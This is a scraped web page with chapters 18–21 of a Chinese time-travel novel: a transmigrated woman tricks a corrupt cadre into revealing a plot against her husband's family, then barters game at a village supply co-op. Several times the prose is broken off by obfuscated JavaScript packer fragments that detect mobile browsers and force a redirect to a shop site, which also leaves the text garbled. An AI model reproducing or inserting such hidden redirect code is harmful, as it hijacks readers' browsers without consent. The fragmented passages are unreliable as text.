陆星野没听说过鸡毛还能保暖,他立刻抬头看哥哥。 “就听她的。”陆沉舟点了点头。 两兄弟手头动作又加快了些,把东西捆好拿进陆沉舟屋里藏起来。 林晚霜已经端着盆进屋里洗漱换衣服了。 换了衣服泼了脏水,她也没出去吃饭,直接回屋睡了。 这一觉就睡了3个小时,直到小智第五次提示,割委会干事已经来了,她才迷迷糊糊的起身收拾。 该说不说,这个穿越除了拥有年轻健康的身体,最让她满意的就是睡眠问题得到了解决。 现在哪还有睡不着的?分明只有睡不醒! 能睡觉的感觉真好,给个皇帝坐都不换。 她心情极好的走进堂屋,然而只是一个照面,原本的好心情就像被人泼了一桶冰水般,瞬间荡然无存。 陆父被两个儿子扶坐在椅子上,因为咳嗽,他的脸上浮现出不自然的潮红。 他对面站着两个戴着红袖章、穿旧军装,此时对上正在咳嗽的陆父,都是一副怕沾染了晦气的抗拒模样。 而让林晚霜好心情荡然无存的是其中那个年轻一点的干事。 他的这张脸,林晚霜记得,这在原主唯一留给她的记忆中出现过。 而这个脸的主人就是用宣传队名额做诱饵让原主杀了陆家人的赵干事。 是了,她居然把这个人给忘了! 联想起陆沉舟说过退伍和成分划定的问题。这些不都是归割委会管吗? 那么那封导致陆母死亡,陆父重病的京都来信,是不是也和他有关? 一瞬间她想到了很多可能。 “你们四个都齐了,那我就说了,”赵干事旁边的中年干事拿出一个信封递给陆沉舟,“三天后上午十点在大树屯集合上车,和知青们一起去火车站。” 他加重了语气:“这批次下乡的人里头,只有你们去边疆,所以只能跟货列一起走。T市去那边的货列一个月只有那一班,所以一旦错过时间,后果自负。” 下放地点居然是边疆! 陆父瞬间变了脸色,他的身体猛地向前一躬,剧烈的咳嗽从胸腔深处爆发,一声连着一声。 随着他的咳嗽,身体竟也开始抽搐,枯瘦的手指死死抓住胸口单薄的衣料,指节泛白。 陆沉舟和陆星野早已扑了上去,一个给他顺背,一个给他端水。 一时间整个陆家全乱了。 眼看着这里乱成一团,早已对这场面见怪不怪的两个割委会干事和林晚霜招呼了声转身就走。 临行前赵干事对着她使了个眼色,她犹豫了下,不由得看向陆沉舟,只见他一边帮父亲顺着背,一边微不可查的点了下头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056998|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她当即明白,他是让她去探个究竟。 于是她毫不犹豫做出一副热情送客的模样将两人送到了院门口。 赵干事突然对着中年男人招呼了声:“王哥,我系个鞋带,你先走。” 中年男人低头看了眼他右脚散开的鞋带,点了点头:“你快点跟上。” 林晚霜明白,这王哥并不知道赵干事和她的关系。 赵干事蹲下身的瞬间,低声对她说了句:“你的表现林少不满意。” 一瞬间,她想到了记忆中那个画面。 也是这个赵干事,对着原主说“林晚霜同志,陆家全家下放的通知书很快就要送来了,这是你和坏分子家庭决裂的最后机会。能把握住吗?” 而原主的回答是“请组织放心,我林晚霜与坏分子势不两立!” 所以不是组织吗?怎么又冒出个林少来了? 她没立刻回答,赵干事不满意了:“你没有什么要解释的吗?” 解释?她怎么解释?她连组织和林少是什么关系都没搞清楚。 这要万一说错了话,不得分分钟露馅? 林晚霜想到这里便垂下眼,手放在肚子上:“对不起,我怀孕了。我不想执行这个任务了。” “怀孕?”赵干事冷笑,“林晚霜你翅膀硬了啊,你不是跟林少说你压根没碰陆沉舟,你对林少爱的一片赤诚吗?” 破案了!原主肚子里压根不可能有货!陆沉舟你可真是个大冤种啊! 她努力稳住表情,开始探听:“组织和林少都是什么反应?” “组织什么反应?”赵干事冷笑,“你装傻呢?现在就咱们两个人,你跟我提组织?哪里的组织会管你的破事?” 林晚霜暗自思衬:果然和陆沉舟说的一样,“组织”就是个暗号。不过现在她倒是可以排除原主是碟子了。 所以,要杀陆家人的其实是林少? 可是林少是谁?他又是怎么和原主联系上的? 看她又不开腔,赵干事急了:“你想反水?别忘了你写的情书还在林少手里。一旦登报,你别想活了!” 林晚霜心头一惊,原主不是碟子,但是个舔狗啊!而且还留了案底在别人那! 这案底就是个隐藏地雷,她得想办法弄回来销毁才行! 可现在没有时间给她仔细思考了,她只能勉强地笑了一下:“林少还收着我写的情书呢?那林少是不是对我也有那个意思?” 赵干事白了她一眼:“癞蛤蟆想吃天鹅肉呢?林少是什么人,你是什么人心里没点数吗?” 她内心着急:那你倒是快告诉我林少是什么人啊! 面上却是笑:“我还以为刚刚说自己怀孕,林少知道了会亲自来看我呢。” “林少来不了,”赵干事警告她,“林少夫人预产期快到了,林少现在是一步也不会离开京都的。” “林少夫人也太霸道了,”她想起网络上经典的那句梗,“她只是生个孩子,而我却是要离开T市为林少办事啊!” “谁让你家世不如人家?”赵干事轻蔑一笑,“好了,你还是有机会回来的,只要杀了陆家人,林少就会把你调回京都。” 林晚霜暗自记下林少夫人家世很好的信息,继续装绿茶。 “边疆有林少的人接应我吗?我办完事就只是调回京都?没有别的好处?” 19. 第 19 章 见林晚霜问的仔细,赵干事的语气也软和了下来。 “当然有,林少说了,事办的好,他可以考虑让你留在他身边,甚至让你生个孩子。” 我去!原主你特么居然上赶着给人当小三?!林晚霜只觉三观尽毁,还有那个林少到底是何方神圣?原主到底看上他什么了? “我办完事能立刻回来吗?”她按捺住心头的怒火,放柔了声音,“我想第一时间回到林少身边。” “边疆那边又没有林少的人,怎么可能让你第一时间就回来?”赵干事指点她,“你办完了事自己想办法离开边疆,只有出了边疆再找割委会,才能联系上林少。记清楚了吗?” 真渣!给他办事居然全得靠自己。林晚霜在内心唾骂,原主你的眼光真垃圾! “边疆没有割委会?”她假装不理解。 “都说了边疆那边林少插不进手!”赵干事觉得她是真蠢,完全听不懂人话,“其实保险一点,你最好自己跑回T市。毕竟林少的根基主要都在京都和这边。” 连续获取两个信息,林少在割委会里,林少能量没她想象中的大。敌人的范围进一步缩小。 “那为什么把下放地点定在边疆啊?”她继续套话。 赵干事没觉得这是啥需要隐瞒她的事:“还不都是因为部队那边有人多管闲事伸了手?” 他接着解释:“部队那边本来就很难插进去人手,之前让陆沉舟退伍,动了下钉子。结果被上面的人注意到了,现在不太好再动手。所以,你之前虽然成功嫁给了陆沉舟,但千万不要小看他这个人。” 赵干事是压根就不怀疑林晚霜对林少的痴情,但他认为林晚霜太张狂,脑子也不好使,他怕她因为低估陆沉舟,误了林少的大事。 然而他想不到的是,在他眼中脑子不好使的女人压根没想过要去杀人,她只想套他的话,获取足够多的情报。 “嗯嗯,”她假装敷衍,“其实你们想多了,陆家人都好骗的很,你看我气死陆沉舟的妈,还把他爸气半死,照样在家里耀武扬威。对了,他妈死了算不算我的功绩?奖励啥时候发我?” “替林少办事是你的福气!”赵干事提醒道,“上次他踹你一脚,你不是还关心他脚疼不疼。这种态度就很好嘛,你该继续保持才对!” 所以原主和林少是见过面的?是原主去找他,还是他来过T市? 不过话说回来,原主可真贱啊!一想到自己现在在别人眼中就是原主,林晚霜差点要被气死。 算了,贱是原主的锅,她绝对不背。 就刚刚赵干事的话里,她分析出两个信息。第一,部队有人出手了,但由于某些她猜不到的原因没能直接捞陆沉舟,而是通过博弈把陆家送到了边疆。 这样看来边疆其实挺好的,艰苦,但安全! 第二,林少真特么的不是个东西! 一点实质性的好处都没给过,全特么画饼。最终奖励居然是做小三?呵忒!真晦气! 把那个晦气的林少扔一边,她继续套话。 “唉,林少在部队里有几个人手啊,他们有没有和陆沉舟熟的,能不能和我说说陆沉舟有什么致命缺点?” 这回的目的是想套出来害陆沉舟退伍的人是谁。 然而—— “赵成风,你鞋带系好了没有?”那个王哥走出一段回头不耐烦地招呼着。 赵干事立刻系好鞋带:“来了。” 他起身,扔下一句警告:“少问不该问的,好好替林少办事!” “唉,那这次林少有没有经费给我?”林晚霜赶紧问他,想弄点钱出来。 回答她的是一个白眼。 她懂了,合着这位林少,真的是不给钱,只画饼啊。 看着他远去,她还有点遗憾,就赵干事这个脑子,再多留一会儿她保证给榨的干干净净。 陆沉舟此时从屋里出来,走到她面前:“什么情况?” 她先是问了句:“爸怎么样了?” “爸晕过去了,一时半会儿应该是醒不来,”陆沉舟脸色沉了下去,“爸这辈子都没出过远门,边疆也太远了,我原本以为是黑省。” “其实边疆说不定挺好,”她说了一句,接着就把从赵干事那里套到的话说给了他听,“看来今天也不用去找大夫给我看了。” “按你说的,要是部队有人插手下放地点的事,那说明我的领导应该是安全回来了,”他脸上浮现出笑容,接着情绪又有些低落,“不过我们队伍性质特殊,我出来就没有机会再回去了。” 林晚霜闻言不由得替他惋惜。 “这样看来边疆还真是个好地方,”然而那低落的情绪只是一瞬,他已然开始了新的规划,“可以的话,我们就在那里积蓄能量,然后打回来。” “打回来?”她愣住了,“你真的不想回去之前的部队吗?好可惜,即使在那个部队里,你也应该是非常优秀的吧?” “可惜没有用,遗憾也只是浪费时间,”他目光坚定,“也许边疆会是我的新征程,也许我的未来会比留在那个队伍里更好。” 林晚霜觉得他真的好自信,可他的自信却又并让人觉得浮夸。 他有着可以轻松勘破世情的强大头脑,有着可以轻松打死五头野猪连皮都不会擦破的身手。 他的自信都是建立在对自己足够了解的基础上的。 这一瞬,他是那么的耀眼,让她觉得他说的都是对的,边疆不再是苦寒之境,而是他们用来积蓄反攻力量的地方。 而那个林少,以及林少身后可能藏的更深的,不过是暂时挡在他们面前的一块小石头。很快就会被一脚踢开。 林晚霜忍不住摸了摸跳动极快的心脏:这就是所谓的领导力吗? 只是轻描淡写的一句话,却让人忍不住相信,只要跟随他就可以走到那个闪耀着光芒的未来。 跟着这样的老板,真有前途啊! 两人交换完情报后,便各自忙碌起来。 林晚霜去了厨房,在陆星野的监视下开始处理一根白萝卜。 “你不削皮吗?”见她洗了萝卜就开切,陆星野终于忍不住阻止。 “白萝卜皮可以化痰,”她看了眼小爱提供的食谱,“直接煮水对爸的咳嗽有好处。” “一个白萝卜水还能比得上药?”他嘟嘟囔囔说,明显是不肯信。 不过萝卜水也吃不坏人,她要折腾就随她去。只是他必须要好好监视住她,不能让她往里面放乱七八糟的东西。 “喂,那个赵干事,”见她认真切着萝卜,陆星野还是忍不住问,“就是说让你杀了我们可以进宣传队的那个赵干事,他找你说啥了?” 他可不是他哥一年最多回来一次,这镇子上的人他都见过。熟的很。 “问你哥去。”她把处理好的萝卜加上适量的水,盖上了锅盖。 “你加点水这就完了?”陆星野没想到这么简单。 “要是有蜂蜜止咳效果更好,”她顺便把食谱上的内容告诉他,“这个是针对咳嗽而且有黄痰的方子,你不是不放心我?煮开了你盛起来给爸喝就行,我先出去了。” “对了,”她看着面前这个人小鬼大的孩子,“我知道因为赵干事,现在你对我很有意见。但是请你不要再“喂,喂,喂”的喊我。否则我告诉你哥你没礼貌,让你哥来好好教育你!” 陆星野张了嘴似乎想说什么,却见她已经从厨房离开了。 林晚霜一出去就看到陆沉舟光着膀子在院子里杀鸡,深秋的天,他光着膀子却丝毫没见打个寒颤。 忍不住驻足欣赏了会儿,她隐隐明白为什么那么多女人喜欢看擦边。 不过遗憾的是,他只光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064580|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了膀子,身上还穿着个背心,露的肉实在有限。 或许是被她的眼神冒犯到,陆沉舟抬起头同她打了招呼:“忙完了?” “给爸煮了个止咳的白萝卜水,”她回过神来,“对了,你觉得林少是一个人,还是一群人中的一个?” 她这话说的含糊,但她觉得陆沉舟能听懂。 他手一动,刀轻快地抹了鸡脖子,如注的血流向下放备好的大碗里,语气却仍旧是不急不缓:“到时候就知道了。” “那封信会不会就是这个林少寄来的?”她看着那只奄奄一息的鸡,开口问了一句,“信里到底是什么?” “是上辈人的恩怨,”他手上利落的拔毛,“大概就是在荒年,我爸因为担心我妈,就去祖里一个亲戚家做客,导致亲戚家陷入困境,最后牺牲了亲戚家的孩子。” “他们吃人了?”林晚霜忍不住抠紧了手。 “是送走了,”陆沉舟看她一眼,“你在想什么?虎毒还不食子。不过我爸那时候才十二三岁,人家跟他说是孩子走失了,他就信了。但是我爷爷奶奶知道实情,事后给了那家人很多钱做补偿。让他们把孩子找回来。” 后面的事他没说,但林晚霜也猜到了。 不过是那家人收了钱并没去找,毕竟能轻易送走的孩子,会有多少疼爱呢? 而那孩子长大后大抵是找了回去,那家人就把错推到了陆父身上。 一个缺爱的孩子会选择恨谁不言而喻。 多年后善良的陆父陆母被告知因为他们少年时的一个举动,害死一条,或者多条人命,会受到怎样的煎熬还需要细说吗? 所以,陆母不是气死的,而是愧疚压垮了她。 陆父也不是气病的,而是觉得自己任性害了人,又害死了自己的妻子。所以自责击垮了他。 陆父因为自责无法为妻子报仇,所以他才劝儿子恩怨到此为止。 不过林少的年龄绝不可能是故事中那个孩子,所以,他到底是谁?和那个孩子又有着怎样的关系? 林晚霜想问,但她看陆沉舟明显是不愿再提这件事了。 她沉默一瞬:“我们下放的地址在哪儿?” “边疆农6师生产建设兵团红星农场苦水泉开荒连102排。”陆沉舟说,“听起来很偏僻。” 也很苦,她默默补充了后半句。然后快速让小智查询了这个地址。 戈壁滩,缺水,缺粮。白天高温到29度以上,晚上又落回零下,最要命的是,再过两个月就是冬天,那时候的气温将直接骤降到零下三十度左右。 这还不算完,他们要住的地方不是房子,而是一种叫地窝子的半地下建筑。狭小,湿闷,还不保暖。 而现在的边疆还不是后世那个瓜果之都,棉花也做不到享誉国内外。 相反,那边也缺棉花,因为高产的棉花种子还没培育出来。 真苦啊,一瞬间她觉得苦不是个形容词,而是在陈述事实。 “这你也知道?” 当她把信息整合告诉陆沉舟时,他这样说。 “对啊,”她无所谓,一点不隐瞒,“我这情况是玄学来着,科学无法解释。” “科学肯定可以解释,只是我们还没触碰到更高级的知识,”陆沉舟站起身,拎着褪了毛的鸡,“看来我学的还不够,我会努力学习,然后给你一个合理的解释。” 林晚霜觉得自己她这日子也是过得玄幻极了。 不知道别人穿越后是怎么解释自己和原主不同之处的,反正她差不多底都交了,奈何对方就是不信。 遇到事都不用她去想办法说服对方,而是对方来给她解释她为什么会这样…… “那,你好好学习?”她听到自己声音有点发飘。 他的声音很坚定:“你也要学习,不能凡事都推给封建迷信。” 20. 第 20 章 面对如此深信科学,甚至还要带着她一起卷起来的陆沉舟。 她仿佛看到了早九晚八的老板在带领大家喊必胜的口号。 这一瞬间,她觉得他们都有种强大的信念感。 所以,这就是打工人和老板的最大区别吗? “你不想努力?”见她没有表态,陆沉舟问了一句。 她能说不想努力吗?跟着卷王老板做咸鱼会有什么好下场? 再说了,学就学呗。只要卷不死就往死里卷。 “怎么会,”她立刻坚定表态,“我时刻谨记着你说的话,未来是属于科学高速发展的时代,我会努力学习,踩在时代浪潮之上,做一只会飞的猪。” 他眼神复杂:“倒也不用这样形容自己。” 形容自己?林晚霜见他已经拎着鸡进了厨房,自己站在原地想了想,恍然大悟,不过站在风口上猪都能起飞。这只是个梗啊! 还是个经典的梗,可惜了,他听不懂。还以为是她在自喻。 算了,解释不了,现在还是先想想自己能做点什么吧? 三天后就要去边疆了,总不能就等到晚上再去换药,白白浪费现在的时间吧? 她正想着,只见陆沉舟又走了出来:“我上趟山,再拿点肉干下来。今晚换了药还得去趟黑市。” 看到老板和自己的思维同步,她心头涌起喜悦,立刻也想到了自己现在能做的事。 “票和钱拿给我,再拿点兔子和鸡,我下午就去城里供销社看看,多换点用得上的东西。” 等他们到了开荒团,估计这钱和票和废纸也没啥两样了。所以带钱不如带物资。 陆沉舟赞赏的看了她一眼:“今天赶大集,你一路上避着点人,安全为主,要是供销社关门了就找个地方等我过来。东西咱们晚上再去换也行。咱” 林晚霜仗着有小智给她智能导航根本不怕遇到人,但这话她也没必要和他说。 于是她点头算是应下:“买好了东西我就去国营饭店买窝头,你这边好了就来找我。” 饭店关门晚,得到晚上8点。 等不及吃午饭,她灌了满满一壶开水,拿了钱票背了六只鸡四只兔子,又把围巾裹在头上就出了门。 今天是赶大集的日子,供销社会晚半个小时下班,然而现在快中午12点,如果按她之前的教程,一路赶过去刚刚好六点。 所以她根本不打算走常规路线,直接让小智规划时不考虑路况只考虑距离。什么小道野路通通全要。 然而这样的路自然是极其难走的,甚至稍有不慎不仅更耽误时间,还会出危险。 林晚霜把这当做是一个挑战,就像前世她为了晋升可以追着大客户跑三天三夜就为了对方能给她十分钟的机会那样。现在只不过是把六小时路压缩成三小时罢了。 她此时一边咬牙攀登山路,一边让小智给她用语音朗读所有可能用的上的办法。 至于给自己打气?不需要的,一个合格的牛马,上辈子自觉能给自己买咖啡提神,这辈子就可以给自己主动加担子。 咸鱼?不存在的。 生存危机在前,她怕没来得及咸就得死了。 “小智,把刚刚那个制作背包的方法给我重点标记,”她喘着气,把背篓背带调了个位置,“记得提醒我多买针线布料。” 原主以前路是没少走,但是重东西应该没怎么背过。 走了不到一小时,她已经感觉到了肩膀火辣辣的痛。 背篓里的鸡兔试图挣扎,但除了让她感觉更吃力外,并没有为自己带来生机。 至少现在,在它们不断地折腾中,如果不是考虑活的可能更值钱,她真恨不得把它们都宰了。 背带换了位置,感觉稍微好点,她继续咬牙加快脚步往前走。 语音继续播放着,一个可以对地窝子加固保暖的办法也引起了她的关注:“小智,帮我重点标记出来,同时设置闹铃提醒,尽可能兑换油纸,油布。” 就这样一路走,一路记。 约莫三个多小时,她总算是上了大路,在众人或好奇,过贪婪的目光中。 她掩着脸低着头,朝着供销社的大门进发。 下午四点,供销社此时之前冷清了很多,柜台上物品也差不多快清完。 两个服务员打着毛线,有一搭没一搭的聊着天。 “刘姐,你弟媳妇是快生了吧。”一个穿着蓝色工服,扎着马尾的服务员手指飞快地跳动着,她手里的毛线团是从旧毛衣上拆下来的。颜色看上去有些脏。 被叫做刘姐的服务员一头齐耳短发,穿着洗的发白的列宁装,胸前别着伟人头像,显得时髦又精致。 她听到这话脸上就带了笑,一边从线团上找出头巧妙的续在已经快见底的毛衣针上,一边说:“可不是,我妈都愁坏了,之前给她坐月子养的鸡遭瘟了,现在就想着去哪儿换两只。” 那个年轻点的服务员脸上不由得带出羡慕来:“你弟媳妇命真好,坐月子还有鸡吃呢。” 刘姐心里头也是嫉妒的,但她却仍旧轻描淡写:“这不应该的?毕竟给我家传香火。就是现在这鸡不好找,哪里就能换的到了?” “可不是,”年轻点的服务员也笑了,“不过说命好,还得是你,生了两个儿子,自己工作清闲,男人在厂里头吃国家饭,公公是生产大队队长。你这福气啊,十里八乡就没第二个了。” 两个人织着毛衣,笑着打趣,按照以往的经验,这个点开始就不会再有人来了。她们只需要磨蹭到下班时间,就能立刻关门回家。 然而今天她们却没能继续清闲下去。 墙上老旧的挂钟到了四点半的时候,居然有人进来了。 刘姐没起身,继续打着她那藏蓝色的毛衣。 年轻点儿的服务员撇撇嘴,心不甘情不愿地起来,开口就想骂是哪个不长眼的这个点儿还来烦人。 然而她的话还没来得及出口,便已经怔住:“同志,你还带了活鸡?” “啪哒”一声,藏蓝色的毛衣掉在了地上。 刘姐三两步出了柜台,迎上了这带了活鸡的客人。 只见这客人一身狼狈,半旧的花袄上沾满泥土,头发和半张脸都被个红色大围巾裹住。 她喘着气,身边放着个大背篓。背篓里塞满了野鸡野兔。 此刻她正在解围巾。 围巾取下来,刘姐就看到了一张年轻俏丽的脸,有着普通农民没有的白皙肤色,像是没怎么下地干活的样子。 她有两条乌黑的麻花辫,看起来文质彬彬的,像是读过书的文化人。 来人正是林晚霜。 她此时也在打量这两个服务员。 两个服务员看上去差不多大,但先出来那个皮肤黝黑粗糙,马尾发质不太好,身上浅蓝色的工服并不合体,就像是偷穿了别人的。 后出来这个一身衣服虽旧但合体又干净,皮肤虽然也有些黑沉,但一头短发却是经常搭理的模样。再加上胸口那枚伟人徽章。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068406|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >后出来的这个不稀奇,本来能在供销社做服务员在这年代也算得上捧了金饭碗,她的家庭条件好些倒显得正常。 稀奇的是那明显家庭条件一般,还能捧上这碗饭的女人。 她到底是靠什么,能站在这里呢? 林晚霜心思一转,立刻把这疑点记在了心里。 然而这并不值得她去深究,毕竟今天之后,他们可能这辈子都不会再见。 后出来那个女人此时先对她说了话:“同志你好,请问是来换东西吗?” 这年头不能说买,得说换。这样的字显得又体面又不市侩。 林晚霜立刻点头:“同志您叫我小林就好,我是来换东西的,请问同志您怎么称呼?” “我姓刘。”因为她没有一上来就说自己要换什么,而是问了自己名字,刘姐立刻猜到她想要的只怕不少。 毕竟这年头每个人进供销社能换多少东西也是有定数的。想多换的,几乎都会来和她们套近乎拉关系。 她脸色冷了下来,如果不是那背篓里看起来精神抖擞的野鸡实在过于诱人,她都想立刻转身继续去织她的毛衣。 “刘姐好,”林晚霜立刻打蛇随棍上,“刘姐您看起来可真时髦,跟那画报上的人似的。” 但凡是个女人,就没有不喜欢被夸好看的。特别还是被这个一看就像个文化人的漂亮姑娘夸。 所以明知这是恭维话,刘姐脸上还是泛起点笑来:“大妹子你可真会说话。” 然而多的话她也是一句不肯接的。 “主要是您的确时髦又洋气,”林晚霜假装没看懂她的拒绝,仍旧笑容真诚,“特别是这伟人像,我馋了好久都换不到。” 夸人必须夸到实处,夸整体会显得圆滑不实在。可一但夸具体了,就显得真诚可信了。 刘姐情不自禁地摸上胸前的徽章,脸上的笑容都实在了几分:“这可是我男人拿了先进职工的奖励呢。” “刘姐和姐夫感情一看就很好,不然姐夫怎么可能把这么金贵的东西给刘姐,”林晚霜立刻赶着她的话继续夸,“不过也难怪,就姐这模样,这打扮,谁见了不得羡慕姐夫福气好。” 刘姐这次是真绷不住,直接笑了:“小林同志别站着了,走路过来累坏了吧,小张你快把我那搪瓷杯子涮涮倒杯水给小林。” 林晚霜从善如流的坐在刘姐给她搬来的椅子上,顺便捡起地上那藏青色的半拉毛衣假装不知道是谁的,夸起那针脚,花纹和款式来。 等小张倒水出来,只看到刘姐正拿着毛衣针细心的教导林晚霜才能把毛衣织的大方又好看。 她暗自感叹,自己来了一个多月都没和刘姐混这么熟,这新来的女人可真不简单。 幸好她不是服务员,而是客户。 想到这里,她脸上也堆着笑,把搪瓷杯递过去:“小林同志,快喝点水润润嘴。” 林晚霜谢过,同时不经意拿出自己的军用水壶,讨水装满。 “哟,你家有军人呢。”刘姐眼神一闪,对她越发多了看重。 “是我男人部队上发的,家里有两三个,”林晚霜装的好像完全不知道军用水壶有多珍贵一样,“我和我男人结婚没多久,家里出了事,要多置办东西办事……他来不了。我只能自己来,让姐姐们见笑了。” 在场的可没傻子,一句家里出了事,男人来不了。她们分分钟就脑补出一场大戏。 “你家里是出了什么事呢?”小张不经意地问了句,语气听起来倒是平常的很。 21. 第 21 章 小张那句话听上去像是随口一问,但林晚霜却知道这是人家在探她虚实呢。 这年头人普遍是质朴简单而纯粹的,但如果你以为他们好骗,那就完了。 “人家不想说就不要问了,”刘姐看似斥责,却没放下毛衣针,“一天天的就你嘴碎。” 林晚霜看的很透,这是刘姐和小张在唱双簧,盘她的根底呢。 如果她此时真以为刘姐是在帮她说话,那么今天她们的交流到此也就结束了。 她明白这其中的含义,于是抬起手抹了抹眼角,声音中透出几分悲苦:“也不是不好说,就……就我婆婆没了,公公也重病了。” 句句属实,但没说时间线。听的人会怎么误会就不归她管了。 果然这话一出,刘姐立刻放下手中的毛衣针,拉住林晚霜的手,目露同情:“大妹子,你不容易啊。” 小张从身上掏出一张手帕递给林晚霜:“都怪我这张破嘴,乱问个什么劲儿。” 林晚霜接过手帕,按了按眼角:“因为这不是啥好事,所以我不好说出来。其实最不容易的是我男人。遇到这些事儿,他啥都做不了,还得撑住这个家。” 刘姐叹气:“是啊,你男人也不容易,他回不来你也别怨他。” 她明显已经是误会了,以为林晚霜说的“啥都做不了”是指不能从部队赶回来。 小张也在旁边陪着抹眼泪:“大妹子你不容易啊。” 林晚霜见她们只是安慰,没点别的表示,于是自己提起话头:“我现在只想多换点东西拿回去。家里啥都缺。” 刘姐和小张对视了一眼,突然开口:“大妹子你是真不容易,不过军民一家亲。我们不能忽视军嫂在后方的生活。这样吧,小张,你带小林同志去看看仓库里那些瑕疵品。” 这年头的瑕疵品可是好东西,一般只有内部员工和关系户才有资格购买。 林晚霜一进来就发现柜台上没多少东西了,就算全买了也不够家里用的。所以她一开始就把主意打在了瑕疵品上。 从一进门主动和服务员拉关系交好,到不经意展示出的军属身份。她每一步都计算的小心翼翼。 毕竟她只有这一次机会,而想要快速和人建立起信任无疑是很困难的。 废了这一番功夫,现在总算是等到了句准话,她立刻看向刘姐:“姐,我不知道咋感谢你。你要是不嫌弃,这鸡和兔子,你看着拿?” 刘姐立刻摆手:“这不行,我们有规定,不拿群众一针一线。” 然后她压低了声音:“其实我家也有点事,我弟妹快生了,要换点鸡坐月子,你看这鸡你想怎么换?” “坐月子啊,”林晚霜重复了句,满脸羡慕,“怪不得刘姐一看就是厚道人,原来这是随根儿。都是女人,坐月子婆家张罗着给换鸡,我听了都羡慕的很。” 小张立刻应和:“是吧,十里八村的就没听说过这么厚道的婆家。” 刘姐脸上的笑是怎么都遮不住了。 林晚霜又说:“人家大姑子都和媳妇对着干,就像我……唉,不说了,总之就冲着你这么厚道的大姑子。这鸡你说个价,我一句二话都没有。” 她这一番话瞬间让刘姐和小张脑补出她婆家有个刁蛮任性一直针对她的大姑子。 这下不说刘姐是真的感觉到了苏爽,就连小张也忍不住对着她生出了几分优越感。 短短一句话,在场三人关系肉眼可见的又亲近了几分。 林晚霜看着火候差不多了,立刻把帕子还给小张:“张姐也看看,这兔子,鸡,有没有看得上的。今儿个要不是遇到你们两个好人,我家这事儿就没指望了。” 她这还没见到瑕疵品呢,话说的好像已经买好了一样。 但小张也不是傻子,立刻明白这是也要给自己好处,于是看着她更多了几分亲近。 接下来小张带着她去仓库,可真是把仓库的底儿全搬出来给她挑了。 林晚霜从穿越过来但现在,还没打过这么富裕的账。 对着满满当当的东西挑了又选,就连污渍超过一指头的布她都敢看不上眼了——实在是可以挑的太多,她背篓空间又有限。 然而即使是这样,等她挑捡完后,背篓还是装不下。 此时已经是六点半了。 刘姐那边锁了供销社的大门,来仓库帮她一起整理。 这年头的女人都有一双巧手,经她和小张帮忙,原本半人高的布料棉花被压挤的只有不到一半,结结实实塞进了背篓。 这还不算完,她们还把三个铝饭盒重起来,在最里头那个饭盒里塞满针头线脑。把酱油醋和黄豆酱塞进几个搪瓷杯里,用布把搪瓷杯盖紧紧缠住。 刘姐把自己的旧帆布包拿了出来,把这些塞不进背篓的东西全放进了帆布包里。 最后小张拿来了算盘,每一样都按最低价给她算了。 因为瑕疵品不需要用票,钱又要的少。零零总总下来也就花了400多块。 不过这年头也很少有人能一口气拿出这么多钱。 毫不意外的,林晚霜在她们心中的分量又不可避免的高了些。 三人回到前厅,看着地上被草绳捆着动来动去的兔子和鸡,又开始了新一轮的交换。 “刘姐这个帆布包至少得用两只鸡换,”林晚霜抢先开口,“但我家现在着实困难,选只最大的行不?就当我这次占姐姐一个便宜了。” 一只鸡最少得12块钱,这还得是公鸡卖不上价。她现在开口就是选一只大的,可没说公母。 一个帆布包得十五块钱,听起来是林晚霜占便宜了。但刘姐换给她这个可是磨了毛边的。 刘姐自然明白她这是让着自己,且这话任谁听了去,都不能说她刘姐一个字的不是。 想明白这层,她脸上带了笑:“为人民服务,吃亏才是福。” 于是这一单生意就成了。 林晚霜再看向小张:“张姐是喜欢兔子还是鸡?您那个手帕跟我换了呗。” 小张瞬间也很开心,不过看了眼刘姐,她知道如果自己真拿手帕就换了东西,日后刘姐肯定不爽,毕竟她拿的可是帆布包。 “我有半瓶红花油,”小张很乖觉,“拿红花油加帕子,跟你换个最小的兔子。” 这话一出,刘姐立刻开心了。红花油的价格虽然比不上她的包,但是那东西不好买。也就是这才配跟她一样换到东西。 林晚霜自然是应下了,不过,红花油?她没记错这玩意儿更不好买。看来她之前想的没错,小张能以和刘姐不匹配的家世站在这里,果然是有点故事的。 不过当着刘姐,她也不好多问。 接下来三人很快对地上的鸡和兔子做了分配。 刘姐除了拿帆布包换了个鸡,剩下的鸡她以12 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 